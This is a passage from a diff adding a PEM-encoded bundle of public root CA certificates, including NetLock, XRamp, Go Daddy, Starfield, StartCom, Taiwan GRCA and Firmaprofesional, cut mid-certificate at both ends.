+EwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQuMRowGAYD
+VQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBLb3pqZWd5em9pIChDbGFz
+cyBBKSBUYW51c2l0dmFueWtpYWRvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHSM
+D7tM9DceqQWC2ObhbHDqeLVu0ThEDaiDzl3S1tWBxdRL51uUcCbbO51qTGL3cfNk1mE7PetzozfZ
+z+qMkjvN9wfcZnSX9EUi3fRc4L9t875lM+QVOr/bmJBVOMTtplVjC7B4BPTjbsE/jvxReB+SnoPC
+/tmwqcm8WgD/qaiYdPv2LD4VOQ22BFWoDpggQrOxJa1+mm9dU7GrDPzr4PN6s6iz/0b2Y6LYOph7
+tqyF/7AlT3Rj5xMHpQqPBffAZG9+pyeAlt7ULoZgx2srXnN7F+eRP2QM2EsiNCubMvJIH5+hCoR6
+4sKtlz2O1cH5VqNQ6ca0+pii7pXmKgOM3wIDAQABo4ICnzCCApswDgYDVR0PAQH/BAQDAgAGMBIG
+A1UdEwEB/wQIMAYBAf8CAQQwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaC
+Ak1GSUdZRUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pv
+bGdhbHRhdGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQu
+IEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2Vn
+LWJpenRvc2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0
+ZXRlbGUgYXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFz
+IGxlaXJhc2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBh
+IGh0dHBzOi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVu
+b3J6ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBh
+bmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sg
+Q1BTIGF2YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFp
+bCBhdCBjcHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4IBAQBIJEb3ulZv+sgoA0BO5TE5
+ayZrU3/b39/zcT0mwBQOxmd7I6gMc90Bu8bKbjc5VdXHjFYgDigKDtIqpLBJUsY4B/6+CgmM0ZjP
+ytoUMaFP0jn8DxEsQ8Pdq5PHVT5HfBgaANzze9jyf1JsIPQLX2lS9O74silg6+NJMSEN1rUQQeJB
+CWziGppWS3cC9qCbmieH6FUpccKQn0V4GuEVZD3QDtigdp+uxdAu6tYPVuxkf1qbFFgBJ34TUMdr
+KuZoPL9coAob4Q566eKAw+np9v1sEZ7Q5SgnK1QyQhSCdeZK8CtmdWOMovsEPoMOmzbwGOQmIMOM
+8CgHrTwXZoi1/baI
+-----END CERTIFICATE-----
+
+NetLock Business (Class B) Root
+===============================
+-----BEGIN CERTIFICATE-----
+MIIFSzCCBLSgAwIBAgIBaTANBgkqhkiG9w0BAQQFADCBmTELMAkGA1UEBhMCSFUxETAPBgNVBAcT
+CEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0b25zYWdpIEtmdC4xGjAYBgNV
+BAsTEVRhbnVzaXR2YW55a2lhZG9rMTIwMAYDVQQDEylOZXRMb2NrIFV6bGV0aSAoQ2xhc3MgQikg
+VGFudXNpdHZhbnlraWFkbzAeFw05OTAyMjUxNDEwMjJaFw0xOTAyMjAxNDEwMjJaMIGZMQswCQYD
+VQQGEwJIVTERMA8GA1UEBxMIQnVkYXBlc3QxJzAlBgNVBAoTHk5ldExvY2sgSGFsb3phdGJpenRv
+bnNhZ2kgS2Z0LjEaMBgGA1UECxMRVGFudXNpdHZhbnlraWFkb2sxMjAwBgNVBAMTKU5ldExvY2sg
+VXpsZXRpIChDbGFzcyBCKSBUYW51c2l0dmFueWtpYWRvMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
+iQKBgQCx6gTsIKAjwo84YM/HRrPVG/77uZmeBNwcf4xKgZjupNTKihe5In+DCnVMm8Bp2GQ5o+2S
+o/1bXHQawEfKOml2mrriRBf8TKPV/riXiK+IA4kfpPIEPsgHC+b5sy96YhQJRhTKZPWLgLViqNhr
+1nGTLbO/CVRY7QbrqHvcQ7GhaQIDAQABo4ICnzCCApswEgYDVR0TAQH/BAgwBgEB/wIBBDAOBgNV
+HQ8BAf8EBAMCAAYwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaCAk1GSUdZ
+RUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pvbGdhbHRh
+dGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQuIEEgaGl0
+ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2VnLWJpenRv
+c2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0ZXRlbGUg
+YXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFzIGxlaXJh
+c2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBhIGh0dHBz
+Oi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVub3J6ZXNA
+bmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBhbmQgdGhl
+IHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sgQ1BTIGF2
+YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFpbCBhdCBj
+cHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4GBAATbrowXr/gOkDFOzT4JwG06sPgzTEdM
+43WIEJessDgVkcYplswhwG08pXTP2IKlOcNl40JwuyKQ433bNXbhoLXan3BukxowOR0w2y7jfLKR
+stE3Kfq51hdcR0/jHTjrn9V7lagonhVK0dHQKwCXoOKSNitjrFgBazMpUIaD8QFI
+-----END CERTIFICATE-----
+
+NetLock Express (Class C) Root
+==============================
+-----BEGIN CERTIFICATE-----
+MIIFTzCCBLigAwIBAgIBaDANBgkqhkiG9w0BAQQFADCBmzELMAkGA1UEBhMCSFUxETAPBgNVBAcT
+CEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0b25zYWdpIEtmdC4xGjAYBgNV
+BAsTEVRhbnVzaXR2YW55a2lhZG9rMTQwMgYDVQQDEytOZXRMb2NrIEV4cHJlc3N6IChDbGFzcyBD
+KSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNTE0MDgxMVoXDTE5MDIyMDE0MDgxMVowgZsxCzAJ
+BgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6
+dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE0MDIGA1UEAxMrTmV0TG9j
+ayBFeHByZXNzeiAoQ2xhc3MgQykgVGFudXNpdHZhbnlraWFkbzCBnzANBgkqhkiG9w0BAQEFAAOB
+jQAwgYkCgYEA6+ywbGGKIyWvYCDj2Z/8kwvbXY2wobNAOoLO/XXgeDIDhlqGlZHtU/qdQPzm6N3Z
+W3oDvV3zOwzDUXmbrVWg6dADEK8KuhRC2VImESLH0iDMgqSaqf64gXadarfSNnU+sYYJ9m5tfk63
+euyucYT2BDMIJTLrdKwWRMbkQJMdf60CAwEAAaOCAp8wggKbMBIGA1UdEwEB/wQIMAYBAf8CAQQw
+DgYDVR0PAQH/BAQDAgAGMBEGCWCGSAGG+EIBAQQEAwIABzCCAmAGCWCGSAGG+EIBDQSCAlEWggJN
+RklHWUVMRU0hIEV6ZW4gdGFudXNpdHZhbnkgYSBOZXRMb2NrIEtmdC4gQWx0YWxhbm9zIFN6b2xn
+YWx0YXRhc2kgRmVsdGV0ZWxlaWJlbiBsZWlydCBlbGphcmFzb2sgYWxhcGphbiBrZXN6dWx0LiBB
+IGhpdGVsZXNpdGVzIGZvbHlhbWF0YXQgYSBOZXRMb2NrIEtmdC4gdGVybWVrZmVsZWxvc3NlZy1i
+aXp0b3NpdGFzYSB2ZWRpLiBBIGRpZ2l0YWxpcyBhbGFpcmFzIGVsZm9nYWRhc2FuYWsgZmVsdGV0
+ZWxlIGF6IGVsb2lydCBlbGxlbm9yemVzaSBlbGphcmFzIG1lZ3RldGVsZS4gQXogZWxqYXJhcyBs
+ZWlyYXNhIG1lZ3RhbGFsaGF0byBhIE5ldExvY2sgS2Z0LiBJbnRlcm5ldCBob25sYXBqYW4gYSBo
+dHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIGNpbWVuIHZhZ3kga2VyaGV0byBheiBlbGxlbm9y
+emVzQG5ldGxvY2submV0IGUtbWFpbCBjaW1lbi4gSU1QT1JUQU5UISBUaGUgaXNzdWFuY2UgYW5k
+IHRoZSB1c2Ugb2YgdGhpcyBjZXJ0aWZpY2F0ZSBpcyBzdWJqZWN0IHRvIHRoZSBOZXRMb2NrIENQ
+UyBhdmFpbGFibGUgYXQgaHR0cHM6Ly93d3cubmV0bG9jay5uZXQvZG9jcyBvciBieSBlLW1haWwg
+YXQgY3BzQG5ldGxvY2submV0LjANBgkqhkiG9w0BAQQFAAOBgQAQrX/XDDKACtiG8XmYta3UzbM2
+xJZIwVzNmtkFLp++UOv0JhQQLdRmF/iewSf98e3ke0ugbLWrmldwpu2gpO0u9f38vf5NNwgMvOOW
+gyL1SRt/Syu0VMGAfJlOHdCM7tCs5ZL6dVb+ZKATj7i4Fp1hBWeAyNDYpQcCNJgEjTME1A==
+-----END CERTIFICATE-----
+
+XRamp Global CA Root
+====================
+-----BEGIN CERTIFICATE-----
+MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE
+BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj
+dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB
+dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx
+HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg
+U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
+dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu
+IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx
+foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE
+zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs
+AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry
+xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud
+EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap
+oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC
+AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc
+/Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt
+qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n
+nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz
+8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw=
+-----END CERTIFICATE-----
+
+Go Daddy Class 2 CA
+===================
+-----BEGIN CERTIFICATE-----
+MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY
+VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp
+ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG
+A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g
+RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD
+ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv
+2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32
+qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j
+YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY
+vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O
+BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o
+atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu
+MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG
+A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim
+PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt
+I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
+HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI
+Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b
+vZ8=
+-----END CERTIFICATE-----
+
+Starfield Class 2 CA
+====================
+-----BEGIN CERTIFICATE-----
+MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc
+U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg
+Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo
+MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG
+A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG
+SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY
+bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ
+JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm
+epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN
+F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF
+MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f
+hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo
+bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g
+QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs
+afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM
+PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl
+xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD
+KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3
+QBFGmh95DmK/D5fs4C8fF5Q=
+-----END CERTIFICATE-----
+
+StartCom Certification Authority
+================================
+-----BEGIN CERTIFICATE-----
+MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN
+U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu
+ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0
+NjM2WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk
+LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg
+U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
+ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y
+o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/
+Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d
+eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt
+2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z
+6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ
+osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/
+untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc
+UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT
+37uMdBNSSwIDAQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE
+FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9jZXJ0LnN0YXJ0
+Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3JsLnN0YXJ0Y29tLm9yZy9zZnNj
+YS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFMBgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUH
+AgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRw
+Oi8vY2VydC5zdGFydGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYg
+U3RhcnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlhYmlsaXR5
+LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2YgdGhlIFN0YXJ0Q29tIENl
+cnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFpbGFibGUgYXQgaHR0cDovL2NlcnQuc3Rh
+cnRjb20ub3JnL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilT
+dGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOC
+AgEAFmyZ9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8jhvh
+3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUWFjgKXlf2Ysd6AgXm
+vB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJzewT4F+irsfMuXGRuczE6Eri8sxHk
+fY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3
+fsNrarnDy0RLrHiQi+fHLB5LEUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZ
+EoalHmdkrQYuL6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq
+yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuCO3NJo2pXh5Tl
+1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6Vum0ABj6y6koQOdjQK/W/7HW/
+lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkyShNOsF/5oirpt9P/FlUQqmMGqz9IgcgA38coro
+g14=
+-----END CERTIFICATE-----
+
+Taiwan GRCA
+===========
+-----BEGIN CERTIFICATE-----
+MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG
+EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X
+DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv
+dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD
+ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN
+w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5
+BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O
+1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO
+htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov
+J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7
+Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t
+B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB
+O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8
+lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV
+HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2
+09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ
+TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj
+Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2
+Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU
+D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz
+DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk
+Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk
+7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ
+CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy
++fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS
+-----END CERTIFICATE-----
+
+Firmaprofesional Root CA
+========================
+-----BEGIN CERTIFICATE-----
+MIIEVzCCAz+gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCRVMxIjAgBgNVBAcT
+GUMvIE11bnRhbmVyIDI0NCBCYXJjZWxvbmExQjBABgNVBAMTOUF1dG9yaWRhZCBkZSBDZXJ0aWZp
+Y2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODEmMCQGCSqGSIb3DQEJARYXY2FA
+ZmlybWFwcm9mZXNpb25hbC5jb20wHhcNMDExMDI0MjIwMDAwWhcNMTMxMDI0MjIwMDAwWjCBnTEL
+MAkGA1UEBhMCRVMxIjAgBgNVBAcTGUMvIE11bnRhbmVyIDI0NCBCYXJjZWxvbmExQjBABgNVBAMT
+OUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2
+ODEmMCQGCSqGSIb3DQEJARYXY2FAZmlybWFwcm9mZXNpb25hbC5jb20wggEiMA0GCSqGSIb3DQEB
